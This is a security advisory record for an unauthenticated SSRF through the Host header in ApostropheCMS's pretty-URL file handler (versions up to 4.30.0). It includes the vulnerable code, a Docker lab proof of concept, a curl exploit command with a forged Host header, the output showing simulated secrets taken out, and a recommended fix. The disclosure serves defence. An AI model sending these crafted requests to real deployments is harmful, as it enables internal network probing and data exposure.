{"id":"CVE-2026-53607","aliases":["GHSA-34pj-2622-jvxq"],"title":"@apostrophecms/file pretty-URL Vulnerable to Unauthenticated SSRF via Host header","summary":"@apostrophecms/file pretty-URL Vulnerable to Unauthenticated SSRF via Host header","severity":"low","cvss":3.7,"cwe":["CWE-918"],"vendor":"apostrophe","product":"apostrophe","ecosystem":"npm","affected":["apostrophe <= 4.30.0"],"patched":["apostrophe 4.31.0"],"published":"2026-07-31","updated":"2026-07-31","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-34pj-2622-jvxq","references":[{"url":"https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-34pj-2622-jvxq"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-53607"},{"url":"https://github.com/apostrophecms/apostrophe/pull/5464"},{"url":"https://github.com/apostrophecms/apostrophe/commit/5a88e9630cbbdde33154ef8abe7557ddf7be418b"},{"url":"https://github.com/advisories/GHSA-34pj-2622-jvxq"}],"tags":["ghsa","npm"],"epss":0.00226,"epssPercentile":0.13583,"ingestedAt":"2026-07-31T22:04:41.523Z","slug":"CVE-2026-53607","body":"## Overview\n\n### Summary\n\nWhen `prettyUrls: true` is enabled on `@apostrophecms/file` (a documented SEO\nfeature for serving uploaded files at clean URLs), the public pretty-URL\nhandler builds the upstream URL using the raw `Host` HTTP request header:\n\n```js\nproxyUrl = `${req.protocol}://${req.get('host')}${uglyUrl}`\n```\n\nThat URL is then `fetch`'ed and the response body + headers are streamed\nstraight back to the requester. Because `Host` is fully attacker-controlled,\nan **unauthenticated remote** attacker can pivot the apostrophe process to\nissue outbound HTTP requests against any host it can reach on the private\nnetwork. The path component is constrained to\n`/uploads/attachments/<cuid>-<slug>.<ext>` (built from a local-DB lookup),\nwhich keeps the impact narrow: cross-instance data exfiltration is\nneutralised by cuid uniqueness, but blind-SSRF residuals remain\n(network-topology mapping via response-code / timing differences and\nverbose proxy/WAF 404 body disclosure). Verified on `apostrophe@4.30.0`\n(latest); no fixed release exists.\n\n- **Affected:** `apostrophe <= 4.30.0` when `@apostrophecms/file` is\n  configured with `prettyUrls: true` and uploadfs is **local** (the default;\n  S3/CDN deployments produce an absolute `uglyUrl` and are not affected).\n\n### Details\n\n`modules/@apostrophecms/file/index.js` (excerpt; the public GET route\nregistered when `prettyUrls: true`):\n\n```js\nif (!self.options.prettyUrls) return;\nreturn {\n  get: {\n    async [`${self.options.prettyUrlDir}/*`](req, res) {\n      const matches = (req.params[0] || '').match(/^([^.]+)\\.\\w+$/);\n      if (!matches) return res.status(400).send('invalid');\n      const [ , slug ] = matches;\n      if (slug.includes('..') || slug.includes('/')) {\n        return res.status(403).send('forbidden');\n      }\n      const file = await self.find(req, {\n        slug: `${self.options.slugPrefix}${slug}`\n      }).toObject();\n      if (!file) return res.status(404).send('not found');\n\n      const uglyUrl = self.apos.attachment.url(file.attachment, { prettyUrl: false });\n      const proxyUrl = uglyUrl.startsWith('/')\n        ? `${req.protocol}://${req.get('host')}${uglyUrl}`   // <-- sink\n        : uglyUrl;\n      return await streamProxy(req, proxyUrl, { error: self.apos.util.error });\n    }\n  }\n};\n```\n\n`lib/stream-proxy.js` (excerpt):\n\n```js\nmodule.exports = async function(req, url, { error }) {\n  const res = req.res;\n  if (url.startsWith('/')) url = `${req.baseUrl}${url}`;\n  let response;\n  try { response = await fetch(url); }       // <-- attacker-steered fetch\n  catch (e) { return send502(e); }\n  for (const header of ['content-type','etag','last-modified','content-disposition','cache-control']) {\n    const v = response.headers.get(header);\n    if (v != null) res.header(header, v);\n  }\n  res.status(response.status);\n  response.body.pipeTo(new WritableStream({ write(c){ res.write(c) }, close(){ res.end() }, ... }));\n};\n```\n\n`req.get('host')` returns the unvalidated `Host` HTTP header from the request.\nExpress does not validate or restrict it, and apostrophe does not check the\nconstructed `proxyUrl` against an allowlist. The upstream's body and\ncontent-type are forwarded verbatim — so any response the targeted host does\nreturn at the constrained path will reach the attacker. In practice the path\nconstraint (`/uploads/attachments/<cuid>-<slug>.<ext>`) and cuid uniqueness\nmean meaningful body exfiltration only occurs against verbose-404 / banner-\nleaky proxies; against most internal services this degenerates to blind\nSSRF (response-code + timing side channels).\n\nPrerequisites are minimal: `prettyUrls: true` (a documented production SEO\noption) + at least one file uploaded with a known slug. Slugs are publicly\nenumerable in normal CMS use (file URLs appear in page content).\n\n**Distinct from the only published apostrophe SSRF advisory,\nGHSA-pr28-mf3q-qpg6** (\"Authenticated SSRF in rich-text widget import via\n@apostrophecms/area validate-widget\"), which is authenticated and lives in a\ncompletely different module/route. This finding is unauthenticated, in\n`@apostrophecms/file`, via the `Host` header.\n\n### PoC\n\nThree services on an isolated Docker network: `mongo`, `internal` (returns a\nfake secret, **never exposed to the host**), `apos:3000` (the only port the\nhost can reach). The host attacker proves it cannot reach `internal`\ndirectly, then exfiltrates `internal`'s response via one crafted request to\n`apos`.\n\n`app.js` (normal apostrophe site, documented option only):\n\n```js\nrequire('apostrophe')({\n  shortName: 'apos-ssrf-poc',\n  autoBuild: false,\n  modules: {\n    '@apostrophecms/express': { options: { session: { secret: 'x' }, port: 3000 } },\n    '@apostrophecms/db': { options: { uri: process.env.APOS_MONGODB_URI } },\n    '@apostrophecms/asset': { options: { autoBuild: false, publicBundle: false, watch: false, hmr: false } },\n    '@apostrophecms/file': { options: { prettyUrls: true, prettyUrlDir: '/files' } },\n    'poc-seed': {}   // seeds one file doc on boot (= what an admin does via the upload UI)\n  }\n});\n```\n\n`docker-compose.yml`:\n\n```yaml\nservices:\n  mongo: { image: mongo:7, networks: [poc] }\n  internal:\n    image: python:3.12-slim\n    command: [\"python\",\"-c\",\"import http.server,socketserver\\nclass H(http.server.BaseHTTPRequestHandler):\\n    def do_GET(self):\\n        self.send_response(200);self.send_header('content-type','text/plain');self.end_headers()\\n        self.wfile.write(b'INTERNAL_SECRET=AKIA_simulated_aws_key_REDACTED;DB_PASS=hunter2\\\\n')\\nsocketserver.TCPServer(('0.0.0.0',80),H).serve_forever()\"]\n    networks: [poc]\n  apos:\n    build: .\n    environment: { APOS_MONGODB_URI: mongodb://mongo:27017/apos-ssrf-poc }\n    depends_on: [mongo, internal]\n    ports: [\"3000:3000\"]\n    networks: [poc]\nnetworks: { poc: { driver: bridge } }\n```\n\n`exploit.sh` (unauthenticated attacker on the host):\n\n```sh\n# 1. Prove the internal target is not reachable from the host\ncurl --max-time 2 -s http://internal/ || echo \"(unreachable, as expected)\"\n\n# 2. ATTACK: same pretty URL, attacker-supplied Host header\ncurl -sS -H 'Host: internal' \"http://127.0.0.1:3000/files/poc.pdf\"\n```\n\nBuild & run:\n\n```sh\ndocker compose build && docker compose up -d && ./exploit.sh\n```\n\nObserved output (`apostrophe@4.30.0`, clean stack):\n\n```\n[probe] confirm the internal target is NOT reachable from the host:\ncurl: (6) Could not resolve host: internal\n[normal] same pretty URL, normal Host header (Host: apos):\nHTTP=502 bytes=49 content-type=text/html; charset=utf-8\nupstream media error fetching data for pretty URL\n\n[ATTACK] pretty URL with attacker-supplied Host header pointing at the private 'internal' service:\nHTTP=200 bytes=64 content-type=text/plain; charset=utf-8\n[ATTACK] response body received by the attacker:\nINTERNAL_SECRET=AKIA_simulated_aws_key_REDACTED;DB_PASS=hunter2\n\nRESULT: VULNERABLE — unauthenticated attacker exfiltrated private internal data via apostrophe's @apostrophecms/file pretty-URL SSRF (Host-header injection).\n```\n\nThe `internal` service is unreachable from the host, but apostrophe fetches\nit on the attacker's behalf and pipes the response body — secret included —\nstraight back over the same HTTP response.\n\n### Impact\n\nUnauthenticated remote SSRF, but the path component is constrained to\n`/uploads/attachments/<cuid>-<slug>.<ext>` (built from a local-DB lookup\non a slug the attacker already had to know). That constraint plus cuid\nuniqueness rules out the cases I originally listed:\n\n- **Cloud metadata is _not_ reachable** — AWS IMDS\n  (`/latest/meta-data/...`), GCP (`/computeMetadata/v1/...`), and Azure\n  (`/metadata/...`) all live at fixed paths that don't overlap with\n  `/uploads/attachments/...`. Same for Redis admin, Elasticsearch, and\n  most internal API surfaces.\n- **Cross-instance data exfiltration is also ruled out.** For an\n  internal target (another apos instance, MinIO bucket, etc.) to serve\n  a body at this path, it would need the exact local cuid + slug, which\n  realistically only happens when the target restored / shares the\n  public site's data — in which case the same content is reachable via\n  the front door anyway. Apostrophe also won't construct a pretty URL\n  for archived / restricted media, closing the older-snapshot edge case.\n\nWhat remains is blind-SSRF residual:\n\n- Network-topology mapping via response-code or response-time\n  differences across internal hosts.\n- Banner / version disclosure from verbose reverse-proxy or WAF 404\n  bodies.\n- Bypassing network egress controls — outbound requests originate from\n  the apostrophe server rather than the attacker.\n\nThe attack requires only the public pretty-URL endpoint and one\npublicly-known file slug, both trivially available in normal CMS\noperation.\n\n### Recommended fix\n\nStop deriving the upstream URL from the request `Host` header. Two\ncomplementary changes:\n\n1. In `modules/@apostrophecms/file/index.js` (the lines that build\n   `proxyUrl`), use a server-trusted absolute base URL (e.g., `apos.baseUrl`\n   or the configured site URL) instead of `req.get('host')`:\n\n   ```js\n   const proxyUrl = uglyUrl.startsWith('/')\n     ? `${self.apos.baseUrl || req.baseUrl}${uglyUrl}`\n     : uglyUrl;\n   ```\n\n2. In `lib/stream-proxy.js`, enforce a strict origin allowlist (the\n   configured apostrophe base URL + any configured CDN host) before calling\n   `fetch`. Defence in depth: future callers of `streamProxy` cannot\n   accidentally reintroduce the gap.\n\nA regression test that sets `Host: 169.254.169.254` (or any non-configured\nhost) on `/files/<slug>.<ext>` and asserts the upstream `fetch` is **not**\nissued / the response is a 4xx would lock this down.\n\n## Affected packages\n\n- `apostrophe <= 4.30.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `apostrophe 4.31.0`","depth":"sunlit","depthScore":20,"depthScoreParts":{"impact":20.4,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}